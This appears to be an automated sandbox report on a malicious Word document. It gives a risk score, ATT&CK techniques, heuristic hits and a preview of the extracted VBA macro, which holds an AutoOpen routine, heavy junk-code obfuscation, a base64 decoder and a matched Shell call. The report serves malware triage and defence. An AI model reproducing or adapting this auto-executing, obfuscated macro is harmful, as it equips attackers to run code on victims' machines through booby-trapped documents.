MALICIOUS
172
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample is a malicious Office document containing a VBA macro with an AutoOpen subroutine, a common technique for initial execution. The macro exhibits obfuscation and uses a potential Shell call, indicating it is likely designed to download and execute a second-stage payload. The ClamAV detection 'Doc.Macro.Valyria-6327969-0' further supports its malicious nature.
Heuristics 7
-
ClamAV: Doc.Macro.Valyria-6327969-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Macro.Valyria-6327969-0
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
End If If Len(wv83Ud) > 0 Then Shell wv83Ud, kq0DUuR1k End Sub -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Attribute VB_Name = "luj7hWqXn" Sub AutoOpen() Dim ReDiz73f As Integer -
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 65983 bytes |
SHA-256: 481a544dc037f919e2a8df95ba359a8dbcec7646db9dc41c2d4cf8947434ab7d |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
709 of 1406 identifiers look randomly generated (e.g. 'yk7JG5hbWUgPSAkcmFuZG9tLm5leHQoMSwgNjU1M') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "luj7hWqXn" Sub AutoOpen() Dim ReDiz73f As Integer ReDiz73f = -246 + 338 If ReDiz73f = 50617 Then jMs5GQR = 13883 Else Q2zjqGN = 2 End If Dim MxhMSL As Integer MxhMSL = -246 + 338 If MxhMSL = 50617 Then ukjYP = True Else aOy6S = 201 End If Dim iVwfUI As Integer iVwfUI = -246 + 338 If iVwfUI < 50617 Then HUQ31BCf = rSPnmr Else aplg5Ixm = 59447.758919128 End If Dim GPyDHGKI As Integer GPyDHGKI = 85 + 54 If GPyDHGKI = 42903 Then VUjs1fCx0 = A6Yisena Else QgT21 = 55309.050413553 End If Dim z4TIe As Integer z4TIe = 85 + 54 If z4TIe > 42903 Then FcEnKi = True Else GTUq4zZv = 63442.570873825 End If Dim JTtbreS3B As Integer JTtbreS3B = 85 + 54 If JTtbreS3B <> 42903 Then x19CVbi = 209 Else JZhVoFvtR = LkEmslIP End If Dim fwGSj As Integer fwGSj = 85 + 54 If fwGSj > 42903 Then phgiN = 82 Else EKjLsgv = True End If Dim Bo9KpfmI As Integer Bo9KpfmI = 174 - 52 If Bo9KpfmI < 39880 Then KNKyzH1Q = True Else Mvszwm59 = 29961.223981276 End If Dim ML1Oy4Feg As Integer ML1Oy4Feg = 174 - 52 If ML1Oy4Feg < 39880 Then KY8fS2cbZ = -578037152 Else chY4G = -5023 End If Dim sJk6ywPxU As Integer sJk6ywPxU = 174 - 52 If sJk6ywPxU > 39880 Then Nt9jGQMEF = 22765.789513061 Else vPHKd = 110 End If Ez68S Dim CUxev As Integer CUxev = 31291 / 377 If CUxev <> 51093 Then x21o6ql0 = -910294212 Else ffKGUp2 = True End If Dim apBgcZrxY As Integer apBgcZrxY = 31291 / 377 If apBgcZrxY < 51093 Then ishqojNY = 63 Else loYBLda = -2148 End If Dim CTlreQ5JN As Integer CTlreQ5JN = 31291 / 377 If CTlreQ5JN = 51093 Then vpzF9SH = 0 Else yDGHWMw = i4biod2S End If Dim KCumP As Integer KCumP = 31291 / 377 If KCumP < 51093 Then jzkwyUrZ5 = 158 Else bva0GqHx = -422271932 End If Dim R3DzeGL0 As Integer R3DzeGL0 = 9416 / 1177 If R3DzeGL0 = 37009 Then UK6TUt = mHJ46 Else nNFi8Hpk = -187519432 End If Dim Uupath As Integer Uupath = 9416 / 1177 If Uupath < 37009 Then iqcBO = -78750798 Else Fcql91w = 138 End If Dim Cw6QOtav As Integer Cw6QOtav = 9416 / 1177 If Cw6QOtav < 37009 Then WvLaSV = 53116.331767851 Else qWcOj = -1048354190 End If Dim c4ZXW As Integer c4ZXW = 82 - 24 If c4ZXW <> 45566 Then r2qGLztg = True Else zmWnahRw = 17001.065582921 End If Dim MLNe7 As Integer MLNe7 = 82 - 24 If MLNe7 = 45566 Then qhG6z = 3 Else OZVoWtx = 2212.9067384437 End If Dim mZLigobkQ As Integer mZLigobkQ = 82 - 24 If mZLigobkQ <> 45566 Then TRXLQr4G6 = True Else a2G8x = 224 End If Dim HCf4FIp0V As Integer HCf4FIp0V = 82 - 24 If HCf4FIp0V = 45566 Then wBp8J7c = 12 Else mYqH6o9NW = 59380.798513272 End If Dim tf6TN As Integer tf6TN = 82 - 24 If tf6TN > 45566 Then QDk0fNxl8 = 5743.8787428612 Else SXd1vZ = False End If Dim i28Xci As Integer i28Xci = 2848 / 1424 If i28Xci < 43084 Then NfBpl4I8H = 62679.374551875 Else zFo1zyen = 13687 End If Dim hztQpWA As Integer hztQpWA = 2848 / 1424 If hztQpWA < 43084 Then JWAGwu32 = 229.71404557827 Else HXIeC = 22 End If Dim kG7QsTg As Integer kG7QsTg = 2848 / 1424 If kG7QsTg < 43084 Then fk8Z5eUn = -11770 Else qcXqtH23 = -11770 End If Dim O5jpN As Integer O5jpN = 2848 / 1424 If O5jpN <> 43084 Then QLlGEtDQ = 0 Else txKlV5UZ = 105 End If Dim vb2JwWO1I As Integer vb2JwWO1I = 2848 / 1424 If vb2JwWO1I > 43084 Then uETfPuDl = ue6Qh Else nwiRDX = ue6Qh End If End Sub Attribute VB_Name = "lMEZ1wsH" Private Const FoUPRX = 16711680 Private Const RrEzw1 = 65280 Private Const KuUAo = 255 Private Const ansUcEvPw = 262144 Private Const AiwPW = 4096 Private Const QeWSp5 = 64 Private Const fpBHgX = 256 Private Const g0VgH = 65536 Public Function eZVN9O(iCgnSElF As String) As String Dim QBcvW() As Byte, P1uCMN() As Byte, bTrans(255) As Byte, lPowers6(63) As Long, lPowers12(63) As Long Dim lPowers18(63) As Long, lQuad As Long, iPad As Integer, lChar As Long, lPos As Long, sOut As String Dim lTemp As Long Dim AFeJC5Y6B As Integer AFeJC5Y6B = -122 + 240 If AFeJC5Y6B > 39796 Then b8GIQW3ZS = 36716.692647285 Else PgzXuJ = MLJEAnTj End If Dim KL1r6uGQ As Integer KL1r6uGQ = -122 + 240 If KL1r6uGQ <> 39796 Then oVNrfmKFi = True Else nRGrUDkO = -6179 End If Dim E1xNs As Integer E1xNs = -122 + 240 If E1xNs < 39796 Then yuKxWQ1P = False Else VYbiqSjO = 156 End If Dim fHA8F As Integer fHA8F = -122 + 240 If fHA8F > 39796 Then e9dUleWiP = -902821232 Else Lkm4t = 31407.377460398 End If Dim LQ7u6xv3U As Integer LQ7u6xv3U = 1018 - 987 If LQ7u6xv3U > 50342 Then cJ6NBcuC = 9097.5118957281 Else b8QdocqVu = 9097.5118957281 End If Dim vErW3O As Integer vErW3O = 1018 - 987 If vErW3O > 50342 Then B4NzuM = True Else f6t9k = 52600.828511477 End If Dim KcNhsXe72 As Integer KcNhsXe72 = 1018 - 987 If KcNhsXe72 = 50342 Then GyK5dBsWm = 32642.591372961 Else f3REwiP = False End If Dim SE6OxKNuV As Integer SE6OxKNuV = 1018 - 987 If SE6OxKNuV = 50342 Then YZQ8qfKx4 = uXGtQ7bHT Else T3dzqAE = 13788.493208695 End If Dim gt5jI As Integer gt5jI = 1018 - 987 If gt5jI < 50342 Then xEhQJZ = -28848 Else TK7J5ZN = 0 End If Dim eZEjJqSw As Integer eZEjJqSw = 16014 / 157 If eZEjJqSw < 57000 Then uIbQHTx = 0 Else VDOIFnkd = False End If Dim XhVyuMgk As Integer XhVyuMgk = 16014 / 157 If XhVyuMgk > 57000 Then KpY3so5V = YZsWnfL Else v15Qouh = 40355.778117249 End If Dim D6lhaTut As Integer D6lhaTut = 16014 / 157 If D6lhaTut < 57000 Then gFtW9MAI = False Else zw2CIUv5 = 34546.936878136 End If Dim ucxLEOIAB As Integer ucxLEOIAB = 16014 / 157 If ucxLEOIAB = 57000 Then Us27j0u = 133 Else iL2b1Yz = 38055.27278325 End If iCgnSElF = Replace(iCgnSElF, vbCr, vbNullString) Dim yxUWiyhqI As Integer yxUWiyhqI = 1 * 167 If yxUWiyhqI > 34019 Then Ur8U3M = -4209 Else oF7TkK = -4209 End If Dim aLYnu3meC As Integer aLYnu3meC = 1 * 167 If aLYnu3meC > 34019 Then HtdoQ = 28 Else S1TN0 = True End If Dim lUlBNc As Integer lUlBNc = 1 * 167 If lUlBNc > 34019 Then ZavfE3 = xmPoQ Else jdG7g = True End If Dim y162YH As Integer y162YH = 1 * 167 If y162YH > 34019 Then gzW1g = 60618.275758059 Else a5U2Jz = 60618.275758059 End If Dim W1jsE As Integer W1jsE = 1 * 181 If W1jsE > 49069 Then gqKSa = 48 Else m5y98tRiO = 48 End If Dim snsmWOiNr As Integer snsmWOiNr = 1 * 181 If snsmWOiNr < 49069 Then WS6ncb = SrEoduqP Else pjTlr = -877708600 End If Dim zjRLqmz As Integer zjRLqmz = 1 * 181 If zjRLqmz = 49069 Then ZY5jlSP87 = 145 Else Ui5RvIKG = True End If Dim H1HjegGmz As Integer H1HjegGmz = 1 * 181 If H1HjegGmz <> 49069 Then sjYcDnh = False Else zCrdTyBU = x8XYQcxuh End If Dim gKEV4sgaj As Integer gKEV4sgaj = 27585 / 613 If gKEV4sgaj <> 59311 Then GtDdxcj = -22731 Else huYxpcFg = -70472598 End If Dim A0oxwgY As Integer A0oxwgY = 27585 / 613 If A0oxwgY = 59311 Then iwXbyl6H4 = 6181 Else MTwAH1rJP = 31877.063879243 End If Dim DVhPIzgyF As Integer DVhPIzgyF = 27585 / 613 If DVhPIzgyF < 59311 Then hvB6EyH = 57940.681349677 Else ZL1Q53doT = False End If Dim HJd2Z6 As Integer HJd2Z6 = 27585 / 613 If HJd2Z6 > 59311 Then U6OYb = -12739 Else XIhSN4M = 43145.801202548 End If Dim Y7qLkD As Integer Y7qLkD = 27585 / 613 If Y7qLkD = 59311 Then de09mo = True Else VvHBg = -2001421020 End If iCgnSElF = Replace(iCgnSElF, vbLf, vbNullString) Dim Bvu94FsbA As Integer Bvu94FsbA = 4930 / 85 If Bvu94FsbA > 41957 Then qm47tO = eLzA7 Else zkpLtSmM = eLzA7 End If Dim cYBCNdI As Integer cYBCNdI = 4930 / 85 If cYBCNdI <> 41957 Then kH2DJgm = 47937.359413727 Else VzLB3 = 3197 End If Dim lY475 As Integer lY475 = 4930 / 85 If lY475 = 41957 Then bTzuogn = True Else pGuI4 = 63293.375728118 End If Dim Qo2w9a5S As Integer Qo2w9a5S = 4930 / 85 If Qo2w9a5S < 41957 Then mYhglC5B = 6 Else kptgilV = 14406.966179618 End If Dim TjlXBq9yL As Integer TjlXBq9yL = 20648 / 178 If TjlXBq9yL <> 32890 Then CtlX7I = 75 Else hlwh9 = -1544 End If Dim cdsRY As Integer cdsRY = 20648 / 178 If cdsRY <> 32890 Then NfXwtq = -25519 Else InsSyu = 10484.102408808 End If Dim gEGm2iU9 As Integer gEGm2iU9 = 20648 / 178 If gEGm2iU9 = 32890 Then RyVFvp2 = 42 Else VkWO2Bz = False End If Dim suQ1KTFR As Integer suQ1KTFR = 8792 / 56 If suQ1KTFR < 33854 Then Foupqxs = 30919 Else CownQhD = True End If Dim GOgRp As Integer GOgRp = 8792 / 56 If GOgRp <> 33854 Then PeJndVx = 39307.262410748 Else EhTgO0p1 = 25684 End If Dim FuGJIh As Integer FuGJIh = 8792 / 56 If FuGJIh > 33854 Then nGfUrNlyA = 173 Else Jg7qD = 26294.127310776 End If Dim HgvOQP As Integer HgvOQP = 8792 / 56 If HgvOQP < 33854 Then N1Jwa = 29265.830398543 Else LpyzDSwuK = 192 End If Dim N75omzAU As Integer N75omzAU = 8792 / 56 If N75omzAU = 33854 Then zc7RrvxK = Euds1t Else EE0MY = 50 End If lTemp = Len(iCgnSElF) Mod 4 Dim b0Hpo3 As Integer b0Hpo3 = 642 - 624 If b0Hpo3 = 49102 Then V2C1j = True Else NRtyCApZM = BweuAg End If Dim yIuXF1r As Integer yIuXF1r = 642 - 624 If yIuXF1r > 49102 Then Zh0encz6 = 3600 Else OD3NpY1R = 3600 End If Dim z9XymcaF2 As Integer z9XymcaF2 = 642 - 624 If z9XymcaF2 > 49102 Then TqwacyPp = 140 Else DFyQaZl7f = 140 End If Dim wjn59o As Integer wjn59o = 642 - 624 If wjn59o < 49102 Then jhNCU7x = 0 Else owHzmO = -14687 End If Dim kD3rXnz7o As Integer kD3rXnz7o = 32192 / 8048 If kD3rXnz7o > 38105 Then IGJB7cOl = 57930.500382925 Else HgvjCke = Ci0cUr End If Dim ecYpZ As Integer ecYpZ = 32192 / 8048 If ecYpZ < 38105 Then JdIahTWV2 = False Else shzaWsKbt = cWU9Sb71 End If Dim Xu1qj As Integer Xu1qj = 32192 / 8048 If Xu1qj <> 38105 Then xBCZd = 26046.113205168 Else DYJZt = 111 End If Dim Q2e9LFho As Integer Q2e9LFho = 32192 / 8048 If Q2e9LFho <> 38105 Then r3R1Fe = -954945050 Else GKqMI3LE = 53960.804836432 End If Dim bTGnf As Integer bTGnf = 760 / 5 If bTGnf = 53880 Then Sxdq2YJ = False Else OHwo8kt = BqC4ok0r End If Dim CkZFtqDa As Integer CkZFtqDa = 760 / 5 If CkZFtqDa <> 53880 Then IrOtV = -2959 Else eq0yKnP62 = -2959 End If Dim gckzfyW As Integer gckzfyW = 760 / 5 If gckzfyW <> 53880 Then v2oAiCM = -13924 Else PW6m09 = 26428.155390141 End If Dim nEDwr As Integer nEDwr = 760 / 5 If nEDwr > 53880 Then X4x8uAeGp = 4396.9999662101 Else xAgdBT = 125 End If Dim NkoEm As Integer NkoEm = -224 + 320 If NkoEm > 39913 Then WpBXsELIK = 14422.673368348 Else rCq0hVrBd = 57 End If Dim gHmC9nA As Integer gHmC9nA = -224 + 320 If gHmC9nA = 39913 Then tylfW = 218 Else eWqa4K = 26028.265607145 End If Dim kwnOC1JcT As Integer kwnOC1JcT = -224 + 320 If kwnOC1JcT <> 39913 Then vtAgarTY = 28102.128763422 Else XDQrg1ub = 167 End If Dim wi5bQLCY As Integer wi5bQLCY = -224 + 320 If wi5bQLCY < 39913 Then GFEoGlyU = True Else niq5lVj = -1064125714 End If Dim m28igoBjb As Integer m28igoBjb = 31035 / 2069 If m28igoBjb <> 64099 Then kmKeF2D = 40882.727366272 Else OiqzQ = -380120164 End If Dim isIc0f2 As Integer isIc0f2 = 31035 / 2069 If isIc0f2 < 64099 Then qcRd1LGYA = 12079.557111123 Else XjOhqvR = 210 End If Dim n2zGw As Integer n2zGw = 31035 / 2069 If n2zGw < 64099 Then p5t4k = 51433.905367807 Else VLtNie1Vk = False End If Dim V2n9w1R3 As Integer V2n9w1R3 = 31035 / 2069 If V2n9w1R3 <> 64099 Then YBmd06yu7 = 212 Else BAJGw = NY6Hln5 End If Dim TY6lwf3C As Integer TY6lwf3C = 233 - 74 If TY6lwf3C < 64721 Then FZgkKB = 31072 Else fWrfDi0ha = -251633270 End If Dim NfYNxAaWq As Integer NfYNxAaWq = 233 - 74 If NfYNxAaWq = 64721 Then ZsV1g5 = 53790.59337876 Else uBAFj = 53790.59337876 End If Dim TIxhNA As Integer TIxhNA = 233 - 74 If TIxhNA = 64721 Then NUC9j = True Else p56QCP = 29997.74356662 End If Dim Ii10QpHyJ As Integer Ii10QpHyJ = 233 - 74 If Ii10QpHyJ = 64721 Then h9DgdZ = 58722.275035446 Else QzjT6x = -25022 End If Dim ZWQt20 As Integer ZWQt20 = 233 - 74 If ZWQt20 > 64721 Then zYKjNyk7 = 6116.8936605509 Else UPWl2kR0v = 6116.8936605509 End If Dim dIEr7NUSC As Integer dIEr7NUSC = -922 + 942 If dIEr7NUSC <> 49134 Then zYNTo = 51874.409034136 Else qhxl4Te3p = 22809.763391601 End If Dim Sz0wL5vD As Integer Sz0wL5vD = -922 + 942 If Sz0wL5vD <> 49134 Then KxTfX1qG = 0 Else kMlj1fmy = 14598 End If Dim R1bDaYLx As Integer R1bDaYLx = -922 + 942 If R1bDaYLx = 49134 Then F3wo7 = -1105999330 Else mjHM0oA = -1105999330 End If Dim DSURyYhP5 As Integer DSURyYhP5 = -922 + 942 If DSURyYhP5 = 49134 Then FOx9Sa = 15520.769587961 Else TrbeTRG = 15520.769587961 End If Dim wlaguvEW As Integer wlaguvEW = 342 - 257 If wlaguvEW < 62530 Then aQuXN = 1983.651960135 Else qL3B1utig = 1983.651960135 End If Dim QedVG As Integer QedVG = 342 - 257 If QedVG <> 62530 Then IMLJtb = 30712.357651269 Else vQP0N6Eh = 240 End If Dim dMx5sNz As Integer dMx5sNz = 342 - 257 If dMx5sNz < 62530 Then L7fhmyvp = M3QYTmkx Else hi6laxmU = 17572.659751289 End If Dim WCvXETr As Integer WCvXETr = 342 - 257 If WCvXETr < 62530 Then dC9TvHrD = 38779.236640035 Else ZFPw5JTSz = IWTitQR End If Dim gNcmk4Dxi As Integer gNcmk4Dxi = -3557 + 3564 If gNcmk4Dxi = 39934 Then D8I91zTWh = -22647 Else BWLThueiM = 187 End If Dim BhJqB As Integer BhJqB = -3557 + 3564 If BhJqB < 39934 Then XGxKL = RgQKL Else GYdKf = 13402.141580085 End If Dim PWDN4BfZF As Integer PWDN4BfZF = -3557 + 3564 If PWDN4BfZF <> 39934 Then q4sHe = 59578.622831601 Else PbzS6Vl = YPRz8Ky End If Dim YKgkYh As Integer YKgkYh = -3557 + 3564 If YKgkYh < 39934 Then iX4boHxTy = 27844.36386029 Else unPWl8SFL = 17 End If Dim NOSLE As Integer NOSLE = -3557 + 3564 If NOSLE = 39934 Then t1gzAJ6 = 34 Else slyZS = 0 End If Dim W5kIAQnbe As Integer W5kIAQnbe = 122 + 55 If W5kIAQnbe = 53580 Then A5HYwFEGU = 59800.896179384 Else bymaxip = 23529.924297279 End If Dim QgdRhs As Integer QgdRhs = 122 + 55 If QgdRhs > 53580 Then bIPcVQ = False Else NcbJ4hoe = 11768.291374955 End If Dim UfYERX As Integer UfYERX = 122 + 55 If UfYERX < 53580 Then Z5Rro7ny = 55381.12493829 Else fZuaIN = 121 End If If InStrRev(iCgnSElF, "==") Then Dim bAht0jbJM As Integer bAht0jbJM = 745 - 722 If bAht0jbJM <> 47841 Then kzCpMqrw = 0 Else uvoTKSDx = 16832 End If Dim v0hBWDER As Integer v0hBWDER = 745 - 722 If v0hBWDER <> 47841 Then kD6h2qseJ = 24052.33845913 Else VQ09Wa = -956439746 End If Dim n4LhnkG5x As Integer n4LhnkG5x = 745 - 722 If n4LhnkG5x < 47841 Then e5Ir4P = 23086.071774489 Else zaBweXI = jBPhJ End If Dim xt5FBf As Integer xt5FBf = 745 - 722 If xt5FBf > 47841 Then CSXQKL = 192 Else dunmO = 192 End If Dim BtUh0Jb As Integer BtUh0Jb = 21007 / 3001 If BtUh0Jb = 41071 Then fGJKm1 = I2eKb6T Else p8bg1E3 = I2eKb6T End If Dim sLK20Yyx As Integer sLK20Yyx = 21007 / 3001 If sLK20Yyx = 41071 Then u3bJ8 = OPpg7 Else t2A0Vr5JQ = True End If Dim F0vwtoZ As Integer F0vwtoZ = 21007 / 3001 If F0vwtoZ < 41071 Then hQRGZ9AB = HL2peH98O Else jJK7N = -12073 End If iPad = 2 ElseIf InStrRev(iCgnSElF, "=") Then Dim N2vCpEQ As Integer N2vCpEQ = 27224 / 164 If N2vCpEQ = 34785 Then ChNyk9g = f84VrwZ Else TxAV1 = 176 End If Dim ZqV5ZfW As Integer ZqV5ZfW = 27224 / 164 If ZqV5ZfW < 34785 Then zIUCloE = 213 Else qAbvL8wT = -10290 End If Dim AXDIqSj As Integer AXDIqSj = 27224 / 164 If AXDIqSj <> 34785 Then kMvIbB = 9703 Else oTx4D = 9703 End If Dim zQMi6t As Integer zQMi6t = 246 - 104 If zQMi6t <> 34019 Then iZtI74T = 162 Else AShWGDH = 0 End If Dim Mi0HBsV As Integer Mi0HBsV = 246 - 104 If Mi0HBsV > 34019 Then aFTq3 = xlyEwV Else uldMX = xlyEwV End If Dim o2qgn As Integer o2qgn = 246 - 104 If o2qgn > 34019 Then pUTf9Zo = ktGuz Else ZFtYxpVXE = 36364.939795874 End If Dim BuKm0s As Integer BuKm0s = 246 - 104 If BuKm0s <> 34019 Then I2sLzSow = 5951.92962051 Else RPKp4 = 39160.715997889 End If iPad = 1 End If Dim i78Cd As Integer i78Cd = 298 - 158 If i78Cd > 61415 Then DKx9dVgMj = 26434.802322588 Else Sp4FMGVow = 124 End If Dim KmRNyxCH As Integer KmRNyxCH = 298 - 158 If KmRNyxCH <> 61415 Then ZFjTG = 0 Else Taksv = 13235.76563528 End If Dim e0EWI As Integer e0EWI = 298 - 158 If e0EWI = 61415 Then mq7RXWC0 = 112 Else JySqDc = 14030 End If Dim K6aWPQ As Integer K6aWPQ = 298 - 158 If K6aWPQ > 61415 Then YZTdRr5UA = 194 Else lJ2gtE = 46819.481940242 End If Dim bhUPx As Integer bhUPx = -491 + 532 If bhUPx < 34333 Then jBCAUF5 = XwMOkn2ct Else QoAfQa = True End If Dim LM3xc As Integer LM3xc = -491 + 532 If LM3xc < 34333 Then zO5v4Uauf = ChUcg Else jyeBpNKs = -726694210 End If Dim LhOTN As Integer LhOTN = -491 + 532 If LhOTN < 34333 Then xqXLD = -1895011798 Else peSdkilLX = 205 End If Dim SUuD1Bz As Integer SUuD1Bz = -491 + 532 If SUuD1Bz > 34333 Then KgmfbSyK = -2144678860 Else UPcDQqA = aU4LtK End If Dim Nq6eLONPz As Integer Nq6eLONPz = -104 + 167 If Nq6eLONPz > 61632 Then tYBc3Jw = i7hVmYT Else W4GIVwp8 = False End If Dim yJYquX As Integer yJYquX = -104 + 167 If yJYquX < 61632 Then p5dUOZsT = 25079 Else yFIzj7eLf = 39649.476131334 End If Dim DY6c4B As Integer DY6c4B = -104 + 167 If DY6c4B = 61632 Then Zb7ULr = 82 Else IWyjXpO = True End If For lTemp = 0 To 255 Select Case lTemp Case 65 To 90 Dim EPW4u As Integer EPW4u = 387 - 302 If EPW4u = 55241 Then EK2EAno6 = 24047 Else jUgnL46D = 137 End If Dim CJbxdG8T As Integer CJbxdG8T = 387 - 302 If CJbxdG8T > 55241 Then xsmHy = 1138.7678565549 Else ni6pozmwq = -1512143230 End If Dim TLG3Wi As Integer TLG3Wi = 387 - 302 If TLG3Wi <> 55241 Then Ll1uMI9 = 36223.877338791 Else UIXAc = 53 End If Dim Nd8IlxHwE As Integer Nd8IlxHwE = 387 - 302 If Nd8IlxHwE > 55241 Then AiwdeV = 17567.357524922 Else vnGlqAS = True End If Dim W5ckso8 As Integer W5ckso8 = 387 - 302 If W5ckso8 < 55241 Then v2T6jYvc = 218 Else bhjXxwpo5 = 20617.334627958 End If Dim kBv2qDWjN As Integer kBv2qDWjN = 258 - 83 If kBv2qDWjN > 41866 Then z9bdC = 166 Else HgeGq = -20085 End If Dim q1FA2Ui As Integer q1FA2Ui = 258 - 83 … |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.